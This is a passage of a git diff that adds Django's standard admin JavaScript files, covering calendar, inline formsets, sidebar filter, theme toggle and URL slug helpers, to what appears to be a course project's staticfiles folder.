((currentDay === todayDay) && (month === todayMonth) && (year === todayYear)) { + todayClass = 'today'; + } else { + todayClass = ''; + } + + // use UTC function; see above for explanation. + if (isSelectedMonth && currentDay === selected.getUTCDate()) { + if (todayClass !== '') { + todayClass += " "; + } + todayClass += "selected"; + } + + const cell = quickElement('td', tableRow, '', 'class', todayClass); + const link = quickElement('a', cell, currentDay, 'role', 'button', 'href', '#'); + link.addEventListener('click', calendarMonth(year, month)); + currentDay++; + } + + // Draw blanks after end of month (optional, but makes for valid code) + while (tableRow.childNodes.length < 7) { + nonDayCell = quickElement('td', tableRow, ' '); + nonDayCell.className = "nonday"; + } + + calDiv.appendChild(calTable); + } + }; + + // Calendar -- A calendar instance + function Calendar(div_id, callback, selected) { + // div_id (string) is the ID of the element in which the calendar will + // be displayed + // callback (string) is the name of a JavaScript function that will be + // called with the parameters (year, month, day) when a day in the + // calendar is clicked + this.div_id = div_id; + this.callback = callback; + this.today = new Date(); + this.currentMonth = this.today.getMonth() + 1; + this.currentYear = this.today.getFullYear(); + if (typeof selected !== 'undefined') { + this.selected = selected; + } + } + Calendar.prototype = { + drawCurrent: function() { + CalendarNamespace.draw(this.currentMonth, this.currentYear, this.div_id, this.callback, this.selected); + }, + drawDate: function(month, year, selected) { + this.currentMonth = month; + this.currentYear = year; + + if(selected) { + this.selected = selected; + } + + this.drawCurrent(); + }, + drawPreviousMonth: function() { + if (this.currentMonth === 1) { + this.currentMonth = 12; + this.currentYear--; + } + else { + this.currentMonth--; + } + this.drawCurrent(); + }, + drawNextMonth: function() { + if (this.currentMonth === 12) { + this.currentMonth = 1; + this.currentYear++; + } + else { + this.currentMonth++; + } + this.drawCurrent(); + }, + drawPreviousYear: function() { + this.currentYear--; + this.drawCurrent(); + }, + drawNextYear: function() { + this.currentYear++; + this.drawCurrent(); + } + }; + window.Calendar = Calendar; + window.CalendarNamespace = CalendarNamespace; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/cancel.js b/Semaine_11/Jour_04/staticfiles/admin/js/cancel.js new file mode 100644 index 0000000..3069c6f --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/cancel.js @@ -0,0 +1,29 @@ +'use strict'; +{ + // Call function fn when the DOM is loaded and ready. If it is already + // loaded, call the function now. + // http://youmightnotneedjquery.com/#ready + function ready(fn) { + if (document.readyState !== 'loading') { + fn(); + } else { + document.addEventListener('DOMContentLoaded', fn); + } + } + + ready(function() { + function handleClick(event) { + event.preventDefault(); + const params = new URLSearchParams(window.location.search); + if (params.has('_popup')) { + window.close(); // Close the popup. + } else { + window.history.back(); // Otherwise, go back. + } + } + + document.querySelectorAll('.cancel-link').forEach(function(el) { + el.addEventListener('click', handleClick); + }); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/change_form.js b/Semaine_11/Jour_04/staticfiles/admin/js/change_form.js new file mode 100644 index 0000000..96a4c62 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/change_form.js @@ -0,0 +1,16 @@ +'use strict'; +{ + const inputTags = ['BUTTON', 'INPUT', 'SELECT', 'TEXTAREA']; + const modelName = document.getElementById('django-admin-form-add-constants').dataset.modelName; + if (modelName) { + const form = document.getElementById(modelName + '_form'); + for (const element of form.elements) { + // HTMLElement.offsetParent returns null when the element is not + // rendered. + if (inputTags.includes(element.tagName) && !element.disabled && element.offsetParent) { + element.focus(); + break; + } + } + } +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/core.js b/Semaine_11/Jour_04/staticfiles/admin/js/core.js new file mode 100644 index 0000000..10504d4 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/core.js @@ -0,0 +1,184 @@ +// Core JavaScript helper functions +'use strict'; + +// quickElement(tagType, parentReference [, textInChildNode, attribute, attributeValue ...]); +function quickElement() { + const obj = document.createElement(arguments[0]); + if (arguments[2]) { + const textNode = document.createTextNode(arguments[2]); + obj.appendChild(textNode); + } + const len = arguments.length; + for (let i = 3; i < len; i += 2) { + obj.setAttribute(arguments[i], arguments[i + 1]); + } + arguments[1].appendChild(obj); + return obj; +} + +// "a" is reference to an object +function removeChildren(a) { + while (a.hasChildNodes()) { + a.removeChild(a.lastChild); + } +} + +// ---------------------------------------------------------------------------- +// Find-position functions by PPK +// See https://www.quirksmode.org/js/findpos.html +// ---------------------------------------------------------------------------- +function findPosX(obj) { + let curleft = 0; + if (obj.offsetParent) { + while (obj.offsetParent) { + curleft += obj.offsetLeft - obj.scrollLeft; + obj = obj.offsetParent; + } + } else if (obj.x) { + curleft += obj.x; + } + return curleft; +} + +function findPosY(obj) { + let curtop = 0; + if (obj.offsetParent) { + while (obj.offsetParent) { + curtop += obj.offsetTop - obj.scrollTop; + obj = obj.offsetParent; + } + } else if (obj.y) { + curtop += obj.y; + } + return curtop; +} + +//----------------------------------------------------------------------------- +// Date object extensions +// ---------------------------------------------------------------------------- +{ + Date.prototype.getTwelveHours = function() { + return this.getHours() % 12 || 12; + }; + + Date.prototype.getTwoDigitMonth = function() { + return (this.getMonth() < 9) ? '0' + (this.getMonth() + 1) : (this.getMonth() + 1); + }; + + Date.prototype.getTwoDigitDate = function() { + return (this.getDate() < 10) ? '0' + this.getDate() : this.getDate(); + }; + + Date.prototype.getTwoDigitTwelveHour = function() { + return (this.getTwelveHours() < 10) ? '0' + this.getTwelveHours() : this.getTwelveHours(); + }; + + Date.prototype.getTwoDigitHour = function() { + return (this.getHours() < 10) ? '0' + this.getHours() : this.getHours(); + }; + + Date.prototype.getTwoDigitMinute = function() { + return (this.getMinutes() < 10) ? '0' + this.getMinutes() : this.getMinutes(); + }; + + Date.prototype.getTwoDigitSecond = function() { + return (this.getSeconds() < 10) ? '0' + this.getSeconds() : this.getSeconds(); + }; + + Date.prototype.getAbbrevDayName = function() { + return typeof window.CalendarNamespace === "undefined" + ? '0' + this.getDay() + : window.CalendarNamespace.daysOfWeekAbbrev[this.getDay()]; + }; + + Date.prototype.getFullDayName = function() { + return typeof window.CalendarNamespace === "undefined" + ? '0' + this.getDay() + : window.CalendarNamespace.daysOfWeek[this.getDay()]; + }; + + Date.prototype.getAbbrevMonthName = function() { + return typeof window.CalendarNamespace === "undefined" + ? this.getTwoDigitMonth() + : window.CalendarNamespace.monthsOfYearAbbrev[this.getMonth()]; + }; + + Date.prototype.getFullMonthName = function() { + return typeof window.CalendarNamespace === "undefined" + ? this.getTwoDigitMonth() + : window.CalendarNamespace.monthsOfYear[this.getMonth()]; + }; + + Date.prototype.strftime = function(format) { + const fields = { + a: this.getAbbrevDayName(), + A: this.getFullDayName(), + b: this.getAbbrevMonthName(), + B: this.getFullMonthName(), + c: this.toString(), + d: this.getTwoDigitDate(), + H: this.getTwoDigitHour(), + I: this.getTwoDigitTwelveHour(), + m: this.getTwoDigitMonth(), + M: this.getTwoDigitMinute(), + p: (this.getHours() >= 12) ? 'PM' : 'AM', + S: this.getTwoDigitSecond(), + w: '0' + this.getDay(), + x: this.toLocaleDateString(), + X: this.toLocaleTimeString(), + y: ('' + this.getFullYear()).substr(2, 4), + Y: '' + this.getFullYear(), + '%': '%' + }; + let result = '', i = 0; + while (i < format.length) { + if (format.charAt(i) === '%') { + result += fields[format.charAt(i + 1)]; + ++i; + } + else { + result += format.charAt(i); + } + ++i; + } + return result; + }; + + // ---------------------------------------------------------------------------- + // String object extensions + // ---------------------------------------------------------------------------- + String.prototype.strptime = function(format) { + const split_format = format.split(/[.\-/]/); + const date = this.split(/[.\-/]/); + let i = 0; + let day, month, year; + while (i < split_format.length) { + switch (split_format[i]) { + case "%d": + day = date[i]; + break; + case "%m": + month = date[i] - 1; + break; + case "%Y": + year = date[i]; + break; + case "%y": + // A %y value in the range of [00, 68] is in the current + // century, while [69, 99] is in the previous century, + // according to the Open Group Specification. + if (parseInt(date[i], 10) >= 69) { + year = date[i]; + } else { + year = (new Date(Date.UTC(date[i], 0))).getUTCFullYear() + 100; + } + break; + } + ++i; + } + // Create Date object from UTC since the parsed value is supposed to be + // in UTC, not local time. Also, the calendar uses UTC functions for + // date extraction. + return new Date(Date.UTC(year, month, day)); + }; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/filters.js b/Semaine_11/Jour_04/staticfiles/admin/js/filters.js new file mode 100644 index 0000000..f5536eb --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/filters.js @@ -0,0 +1,30 @@ +/** + * Persist changelist filters state (collapsed/expanded). + */ +'use strict'; +{ + // Init filters. + let filters = JSON.parse(sessionStorage.getItem('django.admin.filtersState')); + + if (!filters) { + filters = {}; + } + + Object.entries(filters).forEach(([key, value]) => { + const detailElement = document.querySelector(`[data-filter-title='${CSS.escape(key)}']`); + + // Check if the filter is present, it could be from other view. + if (detailElement) { + value ? detailElement.setAttribute('open', '') : detailElement.removeAttribute('open'); + } + }); + + // Save filter state when clicks. + const details = document.querySelectorAll('details'); + details.forEach(detail => { + detail.addEventListener('toggle', event => { + filters[`${event.target.dataset.filterTitle}`] = detail.open; + sessionStorage.setItem('django.admin.filtersState', JSON.stringify(filters)); + }); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/inlines.js b/Semaine_11/Jour_04/staticfiles/admin/js/inlines.js new file mode 100644 index 0000000..cd3726c --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/inlines.js @@ -0,0 +1,359 @@ +/*global DateTimeShortcuts, SelectFilter*/ +/** + * Django admin inlines + * + * Based on jQuery Formset 1.1 + * @author Stanislaus Madueke (stan DOT madueke AT gmail DOT com) + * @requires jQuery 1.2.6 or later + * + * Copyright (c) 2009, Stanislaus Madueke + * All rights reserved. + * + * Spiced up with Code from Zain Memon's GSoC project 2009 + * and modified for Django by Jannis Leidel, Travis Swicegood and Julien Phalip. + * + * Licensed under the New BSD License + * See: https://opensource.org/licenses/bsd-license.php + */ +'use strict'; +{ + const $ = django.jQuery; + $.fn.formset = function(opts) { + const options = $.extend({}, $.fn.formset.defaults, opts); + const $this = $(this); + const $parent = $this.parent(); + const updateElementIndex = function(el, prefix, ndx) { + const id_regex = new RegExp("(" + prefix + "-(\\d+|__prefix__))"); + const replacement = prefix + "-" + ndx; + if ($(el).prop("for")) { + $(el).prop("for", $(el).prop("for").replace(id_regex, replacement)); + } + if (el.id) { + el.id = el.id.replace(id_regex, replacement); + } + if (el.name) { + el.name = el.name.replace(id_regex, replacement); + } + }; + const totalForms = $("#id_" + options.prefix + "-TOTAL_FORMS").prop("autocomplete", "off"); + let nextIndex = parseInt(totalForms.val(), 10); + const maxForms = $("#id_" + options.prefix + "-MAX_NUM_FORMS").prop("autocomplete", "off"); + const minForms = $("#id_" + options.prefix + "-MIN_NUM_FORMS").prop("autocomplete", "off"); + let addButton; + + /** + * The "Add another MyModel" button below the inline forms. + */ + const addInlineAddButton = function() { + if (addButton === null) { + if ($this.prop("tagName") === "TR") { + // If forms are laid out as table rows, insert the + // "add" button in a new table row: + const numCols = $this.eq(-1).children().length; + $parent.append('' + options.addText + ""); + addButton = $parent.find("tr:last a"); + } else { + // Otherwise, insert it immediately after the last form: + $this.filter(":last").after('"); + addButton = $this.filter(":last").next().find("a"); + } + } + addButton.on('click', addInlineClickHandler); + }; + + const addInlineClickHandler = function(e) { + e.preventDefault(); + const template = $("#" + options.prefix + "-empty"); + const row = template.clone(true); + row.removeClass(options.emptyCssClass) + .addClass(options.formCssClass) + .attr("id", options.prefix + "-" + nextIndex); + addInlineDeleteButton(row); + row.find("*").each(function() { + updateElementIndex(this, options.prefix, totalForms.val()); + }); + // Insert the new form when it has been fully edited. + row.insertBefore($(template)); + // Update number of total forms. + $(totalForms).val(parseInt(totalForms.val(), 10) + 1); + nextIndex += 1; + // Hide the add button if there's a limit and it's been reached. + if ((maxForms.val() !== '') && (maxForms.val() - totalForms.val()) <= 0) { + addButton.parent().hide(); + } + // Show the remove buttons if there are more than min_num. + toggleDeleteButtonVisibility(row.closest('.inline-group')); + + // Pass the new form to the post-add callback, if provided. + if (options.added) { + options.added(row); + } + row.get(0).dispatchEvent(new CustomEvent("formset:added", { + bubbles: true, + detail: { + formsetName: options.prefix + } + })); + }; + + /** + * The "X" button that is part of every unsaved inline. + * (When saved, it is replaced with a "Delete" checkbox.) + */ + const addInlineDeleteButton = function(row) { + if (row.is("tr")) { + // If the forms are laid out in table rows, insert + // the remove button into the last table cell: + row.children(":last").append('"); + } else if (row.is("ul") || row.is("ol")) { + // If they're laid out as an ordered/unordered list, + // insert an
  • after the last list item: + row.append('
  • ' + options.deleteText + "
  • "); + } else { + // Otherwise, just insert the remove button as the + // last child element of the form's container: + row.children(":first").append('' + options.deleteText + ""); + } + // Add delete handler for each row. + row.find("a." + options.deleteCssClass).on('click', inlineDeleteHandler.bind(this)); + }; + + const inlineDeleteHandler = function(e1) { + e1.preventDefault(); + const deleteButton = $(e1.target); + const row = deleteButton.closest('.' + options.formCssClass); + const inlineGroup = row.closest('.inline-group'); + // Remove the parent form containing this button, + // and also remove the relevant row with non-field errors: + const prevRow = row.prev(); + if (prevRow.length && prevRow.hasClass('row-form-errors')) { + prevRow.remove(); + } + row.remove(); + nextIndex -= 1; + // Pass the deleted form to the post-delete callback, if provided. + if (options.removed) { + options.removed(row); + } + document.dispatchEvent(new CustomEvent("formset:removed", { + detail: { + formsetName: options.prefix + } + })); + // Update the TOTAL_FORMS form count. + const forms = $("." + options.formCssClass); + $("#id_" + options.prefix + "-TOTAL_FORMS").val(forms.length); + // Show add button again once below maximum number. + if ((maxForms.val() === '') || (maxForms.val() - forms.length) > 0) { + addButton.parent().show(); + } + // Hide the remove buttons if at min_num. + toggleDeleteButtonVisibility(inlineGroup); + // Also, update names and ids for all remaining form controls so + // they remain in sequence: + let i, formCount; + const updateElementCallback = function() { + updateElementIndex(this, options.prefix, i); + }; + for (i = 0, formCount = forms.length; i < formCount; i++) { + updateElementIndex($(forms).get(i), options.prefix, i); + $(forms.get(i)).find("*").each(updateElementCallback); + } + }; + + const toggleDeleteButtonVisibility = function(inlineGroup) { + if ((minForms.val() !== '') && (minForms.val() - totalForms.val()) >= 0) { + inlineGroup.find('.inline-deletelink').hide(); + } else { + inlineGroup.find('.inline-deletelink').show(); + } + }; + + $this.each(function(i) { + $(this).not("." + options.emptyCssClass).addClass(options.formCssClass); + }); + + // Create the delete buttons for all unsaved inlines: + $this.filter('.' + options.formCssClass + ':not(.has_original):not(.' + options.emptyCssClass + ')').each(function() { + addInlineDeleteButton($(this)); + }); + toggleDeleteButtonVisibility($this); + + // Create the add button, initially hidden. + addButton = options.addButton; + addInlineAddButton(); + + // Show the add button if allowed to add more items. + // Note that max_num = None translates to a blank string. + const showAddButton = maxForms.val() === '' || (maxForms.val() - totalForms.val()) > 0; + if ($this.length && showAddButton) { + addButton.parent().show(); + } else { + addButton.parent().hide(); + } + + return this; + }; + + /* Setup plugin defaults */ + $.fn.formset.defaults = { + prefix: "form", // The form prefix for your django formset + addText: "add another", // Text for the add link + deleteText: "remove", // Text for the delete link + addCssClass: "add-row", // CSS class applied to the add link + deleteCssClass: "delete-row", // CSS class applied to the delete link + emptyCssClass: "empty-row", // CSS class applied to the empty row + formCssClass: "dynamic-form", // CSS class applied to each form in a formset + added: null, // Function called each time a new form is added + removed: null, // Function called each time a form is deleted + addButton: null // Existing add button to use + }; + + + // Tabular inlines --------------------------------------------------------- + $.fn.tabularFormset = function(selector, options) { + const $rows = $(this); + + const reinitDateTimeShortCuts = function() { + // Reinitialize the calendar and clock widgets by force + if (typeof DateTimeShortcuts !== "undefined") { + $(".datetimeshortcuts").remove(); + DateTimeShortcuts.init(); + } + }; + + const updateSelectFilter = function() { + // If any SelectFilter widgets are a part of the new form, + // instantiate a new SelectFilter instance for it. + if (typeof SelectFilter !== 'undefined') { + $('.selectfilter').each(function(index, value) { + SelectFilter.init(value.id, this.dataset.fieldName, false); + }); + $('.selectfilterstacked').each(function(index, value) { + SelectFilter.init(value.id, this.dataset.fieldName, true); + }); + } + }; + + const initPrepopulatedFields = function(row) { + row.find('.prepopulated_field').each(function() { + const field = $(this), + input = field.find('input, select, textarea'), + dependency_list = input.data('dependency_list') || [], + dependencies = []; + $.each(dependency_list, function(i, field_name) { + dependencies.push('#' + row.find('.field-' + field_name).find('input, select, textarea').attr('id')); + }); + if (dependencies.length) { + input.prepopulate(dependencies, input.attr('maxlength')); + } + }); + }; + + $rows.formset({ + prefix: options.prefix, + addText: options.addText, + formCssClass: "dynamic-" + options.prefix, + deleteCssClass: "inline-deletelink", + deleteText: options.deleteText, + emptyCssClass: "empty-form", + added: function(row) { + initPrepopulatedFields(row); + reinitDateTimeShortCuts(); + updateSelectFilter(); + }, + addButton: options.addButton + }); + + return $rows; + }; + + // Stacked inlines --------------------------------------------------------- + $.fn.stackedFormset = function(selector, options) { + const $rows = $(this); + const updateInlineLabel = function(row) { + $(selector).find(".inline_label").each(function(i) { + const count = i + 1; + $(this).html($(this).html().replace(/(#\d+)/g, "#" + count)); + }); + }; + + const reinitDateTimeShortCuts = function() { + // Reinitialize the calendar and clock widgets by force, yuck. + if (typeof DateTimeShortcuts !== "undefined") { + $(".datetimeshortcuts").remove(); + DateTimeShortcuts.init(); + } + }; + + const updateSelectFilter = function() { + // If any SelectFilter widgets were added, instantiate a new instance. + if (typeof SelectFilter !== "undefined") { + $(".selectfilter").each(function(index, value) { + SelectFilter.init(value.id, this.dataset.fieldName, false); + }); + $(".selectfilterstacked").each(function(index, value) { + SelectFilter.init(value.id, this.dataset.fieldName, true); + }); + } + }; + + const initPrepopulatedFields = function(row) { + row.find('.prepopulated_field').each(function() { + const field = $(this), + input = field.find('input, select, textarea'), + dependency_list = input.data('dependency_list') || [], + dependencies = []; + $.each(dependency_list, function(i, field_name) { + // Dependency in a fieldset. + let field_element = row.find('.form-row .field-' + field_name); + // Dependency without a fieldset. + if (!field_element.length) { + field_element = row.find('.form-row.field-' + field_name); + } + dependencies.push('#' + field_element.find('input, select, textarea').attr('id')); + }); + if (dependencies.length) { + input.prepopulate(dependencies, input.attr('maxlength')); + } + }); + }; + + $rows.formset({ + prefix: options.prefix, + addText: options.addText, + formCssClass: "dynamic-" + options.prefix, + deleteCssClass: "inline-deletelink", + deleteText: options.deleteText, + emptyCssClass: "empty-form", + removed: updateInlineLabel, + added: function(row) { + initPrepopulatedFields(row); + reinitDateTimeShortCuts(); + updateSelectFilter(); + updateInlineLabel(row); + }, + addButton: options.addButton + }); + + return $rows; + }; + + $(document).ready(function() { + $(".js-inline-admin-formset").each(function() { + const data = $(this).data(), + inlineOptions = data.inlineFormset; + let selector; + switch(data.inlineType) { + case "stacked": + selector = inlineOptions.name + "-group .inline-related"; + $(selector).stackedFormset(selector, inlineOptions.options); + break; + case "tabular": + selector = inlineOptions.name + "-group .tabular.inline-related tbody:first > tr.form-row"; + $(selector).tabularFormset(selector, inlineOptions.options); + break; + } + }); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/jquery.init.js b/Semaine_11/Jour_04/staticfiles/admin/js/jquery.init.js new file mode 100644 index 0000000..f40b27f --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/jquery.init.js @@ -0,0 +1,8 @@ +/*global jQuery:false*/ +'use strict'; +/* Puts the included jQuery into our own namespace using noConflict and passing + * it 'true'. This ensures that the included jQuery doesn't pollute the global + * namespace (i.e. this preserves pre-existing values for both window.$ and + * window.jQuery). + */ +window.django = {jQuery: jQuery.noConflict(true)}; diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/nav_sidebar.js b/Semaine_11/Jour_04/staticfiles/admin/js/nav_sidebar.js new file mode 100644 index 0000000..7e735db --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/nav_sidebar.js @@ -0,0 +1,79 @@ +'use strict'; +{ + const toggleNavSidebar = document.getElementById('toggle-nav-sidebar'); + if (toggleNavSidebar !== null) { + const navSidebar = document.getElementById('nav-sidebar'); + const main = document.getElementById('main'); + let navSidebarIsOpen = localStorage.getItem('django.admin.navSidebarIsOpen'); + if (navSidebarIsOpen === null) { + navSidebarIsOpen = 'true'; + } + main.classList.toggle('shifted', navSidebarIsOpen === 'true'); + navSidebar.setAttribute('aria-expanded', navSidebarIsOpen); + + toggleNavSidebar.addEventListener('click', function() { + if (navSidebarIsOpen === 'true') { + navSidebarIsOpen = 'false'; + } else { + navSidebarIsOpen = 'true'; + } + localStorage.setItem('django.admin.navSidebarIsOpen', navSidebarIsOpen); + main.classList.toggle('shifted'); + navSidebar.setAttribute('aria-expanded', navSidebarIsOpen); + }); + } + + function initSidebarQuickFilter() { + const options = []; + const navSidebar = document.getElementById('nav-sidebar'); + if (!navSidebar) { + return; + } + navSidebar.querySelectorAll('th[scope=row] a').forEach((container) => { + options.push({title: container.innerHTML, node: container}); + }); + + function checkValue(event) { + let filterValue = event.target.value; + if (filterValue) { + filterValue = filterValue.toLowerCase(); + } + if (event.key === 'Escape') { + filterValue = ''; + event.target.value = ''; // clear input + } + let matches = false; + for (const o of options) { + let displayValue = ''; + if (filterValue) { + if (o.title.toLowerCase().indexOf(filterValue) === -1) { + displayValue = 'none'; + } else { + matches = true; + } + } + // show/hide parent + o.node.parentNode.parentNode.style.display = displayValue; + } + if (!filterValue || matches) { + event.target.classList.remove('no-results'); + } else { + event.target.classList.add('no-results'); + } + sessionStorage.setItem('django.admin.navSidebarFilterValue', filterValue); + } + + const nav = document.getElementById('nav-filter'); + nav.addEventListener('change', checkValue, false); + nav.addEventListener('input', checkValue, false); + nav.addEventListener('keyup', checkValue, false); + + const storedValue = sessionStorage.getItem('django.admin.navSidebarFilterValue'); + if (storedValue) { + nav.value = storedValue; + checkValue({target: nav, key: ''}); + } + } + window.initSidebarQuickFilter = initSidebarQuickFilter; + initSidebarQuickFilter(); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/popup_response.js b/Semaine_11/Jour_04/staticfiles/admin/js/popup_response.js new file mode 100644 index 0000000..fecf0f4 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/popup_response.js @@ -0,0 +1,15 @@ +'use strict'; +{ + const initData = JSON.parse(document.getElementById('django-admin-popup-response-constants').dataset.popupResponse); + switch(initData.action) { + case 'change': + opener.dismissChangeRelatedObjectPopup(window, initData.value, initData.obj, initData.new_value); + break; + case 'delete': + opener.dismissDeleteRelatedObjectPopup(window, initData.value); + break; + default: + opener.dismissAddRelatedObjectPopup(window, initData.value, initData.obj); + break; + } +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/prepopulate.js b/Semaine_11/Jour_04/staticfiles/admin/js/prepopulate.js new file mode 100644 index 0000000..89e95ab --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/prepopulate.js @@ -0,0 +1,43 @@ +/*global URLify*/ +'use strict'; +{ + const $ = django.jQuery; + $.fn.prepopulate = function(dependencies, maxLength, allowUnicode) { + /* + Depends on urlify.js + Populates a selected field with the values of the dependent fields, + URLifies and shortens the string. + dependencies - array of dependent fields ids + maxLength - maximum length of the URLify'd string + allowUnicode - Unicode support of the URLify'd string + */ + return this.each(function() { + const prepopulatedField = $(this); + + const populate = function() { + // Bail if the field's value has been changed by the user + if (prepopulatedField.data('_changed')) { + return; + } + + const values = []; + $.each(dependencies, function(i, field) { + field = $(field); + if (field.val().length > 0) { + values.push(field.val()); + } + }); + prepopulatedField.val(URLify(values.join(' '), maxLength, allowUnicode)); + }; + + prepopulatedField.data('_changed', false); + prepopulatedField.on('change', function() { + prepopulatedField.data('_changed', true); + }); + + if (!prepopulatedField.val()) { + $(dependencies.join(',')).on('keyup change focus', populate); + } + }); + }; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/prepopulate_init.js b/Semaine_11/Jour_04/staticfiles/admin/js/prepopulate_init.js new file mode 100644 index 0000000..a58841f --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/prepopulate_init.js @@ -0,0 +1,15 @@ +'use strict'; +{ + const $ = django.jQuery; + const fields = $('#django-admin-prepopulated-fields-constants').data('prepopulatedFields'); + $.each(fields, function(index, field) { + $( + '.empty-form .form-row .field-' + field.name + + ', .empty-form.form-row .field-' + field.name + + ', .empty-form .form-row.field-' + field.name + ).addClass('prepopulated_field'); + $(field.id).data('dependency_list', field.dependency_list).prepopulate( + field.dependency_ids, field.maxLength, field.allowUnicode + ); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/theme.js b/Semaine_11/Jour_04/staticfiles/admin/js/theme.js new file mode 100644 index 0000000..e79d375 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/theme.js @@ -0,0 +1,51 @@ +'use strict'; +{ + function setTheme(mode) { + if (mode !== "light" && mode !== "dark" && mode !== "auto") { + console.error(`Got invalid theme mode: ${mode}. Resetting to auto.`); + mode = "auto"; + } + document.documentElement.dataset.theme = mode; + localStorage.setItem("theme", mode); + } + + function cycleTheme() { + const currentTheme = localStorage.getItem("theme") || "auto"; + const prefersDark = window.matchMedia("(prefers-color-scheme: dark)").matches; + + if (prefersDark) { + // Auto (dark) -> Light -> Dark + if (currentTheme === "auto") { + setTheme("light"); + } else if (currentTheme === "light") { + setTheme("dark"); + } else { + setTheme("auto"); + } + } else { + // Auto (light) -> Dark -> Light + if (currentTheme === "auto") { + setTheme("dark"); + } else if (currentTheme === "dark") { + setTheme("light"); + } else { + setTheme("auto"); + } + } + } + + function initTheme() { + // set theme defined in localStorage if there is one, or fallback to auto mode + const currentTheme = localStorage.getItem("theme"); + currentTheme ? setTheme(currentTheme) : setTheme("auto"); + } + + window.addEventListener('load', function(_) { + const buttons = document.getElementsByClassName("theme-toggle"); + Array.from(buttons).forEach((btn) => { + btn.addEventListener("click", cycleTheme); + }); + }); + + initTheme(); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/urlify.js b/Semaine_11/Jour_04/staticfiles/admin/js/urlify.js new file mode 100644 index 0000000..9fc0409 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/urlify.js @@ -0,0 +1,169 @@ +/*global XRegExp*/ +'use strict'; +{ + const LATIN_MAP = { + 'À': 'A', 'Á': 'A', 'Â': 'A', 'Ã': 'A', 'Ä': 'A', 'Å': 'A', 'Æ': 'AE', + 'Ç': 'C', 'È': 'E', 'É': 'E', 'Ê': 'E', 'Ë': 'E', 'Ì': 'I', 'Í': 'I', + 'Î': 'I', 'Ï': 'I', 'Ð': 'D', 'Ñ': 'N', 'Ò': 'O', 'Ó': 'O', 'Ô': 'O', + 'Õ': 'O', 'Ö': 'O', 'Ő': 'O', 'Ø': 'O', 'Ù': 'U', 'Ú': 'U', 'Û': 'U', + 'Ü': 'U', 'Ű': 'U', 'Ý': 'Y', 'Þ': 'TH', 'Ÿ': 'Y', 'ß': 'ss', 'à': 'a', + 'á': 'a', 'â': 'a', 'ã': 'a', 'ä': 'a', 'å': 'a', 'æ': 'ae', 'ç': 'c', + 'è': 'e', 'é': 'e', 'ê': 'e', 'ë': 'e', 'ì': 'i', 'í': 'i', 'î': 'i', + 'ï': 'i', 'ð': 'd', 'ñ': 'n', 'ò': 'o', 'ó': 'o', 'ô': 'o', 'õ': 'o', + 'ö': 'o', 'ő': 'o', 'ø': 'o', 'ù': 'u', 'ú': 'u', 'û': 'u', 'ü': 'u', + 'ű': 'u', 'ý': 'y', 'þ': 'th', 'ÿ': 'y' + }; + const LATIN_SYMBOLS_MAP = { + '©': '(c)' + }; + const GREEK_MAP = { + 'α': 'a', 'β': 'b', 'γ': 'g', 'δ': 'd', 'ε': 'e', 'ζ': 'z', 'η': 'h', + 'θ': '8', 'ι': 'i', 'κ': 'k', 'λ': 'l', 'μ': 'm', 'ν': 'n', 'ξ': '3', + 'ο': 'o', 'π': 'p', 'ρ': 'r', 'σ': 's', 'τ': 't', 'υ': 'y', 'φ': 'f', + 'χ': 'x', 'ψ': 'ps', 'ω': 'w', 'ά': 'a', 'έ': 'e', 'ί': 'i', 'ό': 'o', + 'ύ': 'y', 'ή': 'h', 'ώ': 'w', 'ς': 's', 'ϊ': 'i', 'ΰ': 'y', 'ϋ': 'y', + 'ΐ': 'i', 'Α': 'A', 'Β': 'B', 'Γ': 'G', 'Δ': 'D', 'Ε': 'E', 'Ζ': 'Z', + 'Η': 'H', 'Θ': '8', 'Ι': 'I', 'Κ': 'K', 'Λ': 'L', 'Μ': 'M', 'Ν': 'N', + 'Ξ': '3', 'Ο': 'O', 'Π': 'P', 'Ρ': 'R', 'Σ': 'S', 'Τ': 'T', 'Υ': 'Y', + 'Φ': 'F', 'Χ': 'X', 'Ψ': 'PS', 'Ω': 'W', 'Ά': 'A', 'Έ': 'E', 'Ί': 'I', + 'Ό': 'O', 'Ύ': 'Y', 'Ή': 'H', 'Ώ': 'W', 'Ϊ': 'I', 'Ϋ': 'Y' + }; + const TURKISH_MAP = { + 'ş': 's', 'Ş': 'S', 'ı': 'i', 'İ': 'I', 'ç': 'c', 'Ç': 'C', 'ü': 'u', + 'Ü': 'U', 'ö': 'o', 'Ö': 'O', 'ğ': 'g', 'Ğ': 'G' + }; + const ROMANIAN_MAP = { + 'ă': 'a', 'î': 'i', 'ș': 's', 'ț': 't', 'â': 'a', + 'Ă': 'A', 'Î': 'I', 'Ș': 'S', 'Ț': 'T', 'Â': 'A' + }; + const RUSSIAN_MAP = { + 'а': 'a', 'б': 'b', 'в': 'v', 'г': 'g', 'д': 'd', 'е': 'e', 'ё': 'yo', + 'ж': 'zh', 'з': 'z', 'и': 'i', 'й': 'j', 'к': 'k', 'л': 'l', 'м': 'm', + 'н': 'n', 'о': 'o', 'п': 'p', 'р': 'r', 'с': 's', 'т': 't', 'у': 'u', + 'ф': 'f', 'х': 'h', 'ц': 'c', 'ч': 'ch', 'ш': 